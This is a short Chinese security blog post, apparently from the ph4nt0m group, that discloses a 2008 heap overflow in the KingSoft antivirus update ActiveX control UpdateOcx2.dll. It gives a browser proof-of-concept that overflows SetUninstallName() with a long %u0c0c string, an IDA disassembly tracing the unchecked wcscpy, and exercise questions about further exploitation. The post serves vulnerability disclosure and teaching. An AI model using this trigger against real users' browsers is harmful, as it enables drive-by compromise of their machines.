2008年3月8日星期六

[Exploit] KingSoft UpdateOcx2.dll SetUninstallName() Heap Overflow Exploit

Date: 2008-02-29
MSN: void[at]ph4nt0m[dot]org
http://www.ph4nt0m.org

文件路径: C:\WINDOWS\system32\KingSoft\KOS\UpdateOcx2.dll
文件描述: Kingsoft Antivirus Online Update Module
文件版本: 2007,12,29,29

金山在线杀毒,百度安全中心在线杀毒,雅虎助手等使用的在线杀毒引擎均受影响.

PoC代码:

<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target1'></object>
<object classid='clsid:D82303B7-A754-4DCB-8AFC-8CF99435AACE' id='target2'></object>
<script>
var str1 = "";
while (str1.length < 914)
{ str1 
+= unescape("%u0c0c");
}
target1.SetUninstallName(str1);
</script>


分析:
.text:1000737B ; DWORD __stdcall SetUninstallName(LPVOID this_ptr, LPVOID bsUninstallName)
.text:1000737B SetUninstallName proc near              ; DATA XREF: .rdata:1003186C o
.text:1000737B                                         ; .rdata:10031A64 o
.text:1000737B
.text:1000737B this_ptr        
= dword ptr 4
.text:1000737B bsUninstallName 
= dword ptr 8
.text:1000737B
.text:1000737B                 mov     eax, [esp
+this_ptr]
.text:1000737F                 push    [esp
+bsUninstallName]
.text:
10007383                 add     eax, 20h
.text:
10007386                 mov     ecx, [eax]
.text:
10007388                 push    eax
.text:
10007389                 call    dword ptr [ecx+20h] ; 此处跟进 10012278
.text:1000738C                 xor     eax, eax
.text:1000738E                 retn    
8
.text:1000738E SetUninstallName endp


.text:
10012278 ; =============== S U B R O U T I N E =======================================
.text:
10012278
.text:
10012278
.text:
10012278 ; int __stdcall Vul_Func(int, wchar_t *Source)
.text:
10012278 Vul_Func        proc near               ; DATA XREF: .rdata:10032D3C o
.text:
10012278
.text:
10012278 arg_0           = dword ptr 4
.text:
10012278 Source          = dword ptr 8
.text:
10012278
.text:
10012278                 cmp     [esp+Source], 0
.text:1001227D                 jz      
short loc_10012294
.text:1001227F                 mov     eax, [esp
+arg_0]
.text:
10012283                 push    [esp+Source]    ; Source
.text:
10012287                 add     eax, 0D70h
.text:1001228C                 push    eax             ; Dest
.text:1001228D                 call    _wcscpy         ; 没有检查用户输入的长度就,造成heap overlfow
.text:
10012292                 pop     ecx
.text:
10012293                 pop     ecx
.text:
10012294
.text:
10012294 loc_10012294:                           ; CODE XREF: Vul_Func+5 j
.text:
10012294                 xor     eax, eax
.text:
10012296                 retn    8
.text:
10012296 Vul_Func        endp
.text:
10012296


课后习题:
1. 为什么要target2?
2. 该控件有没有其他利用途径?
答案下周六公布.

1 条评论:

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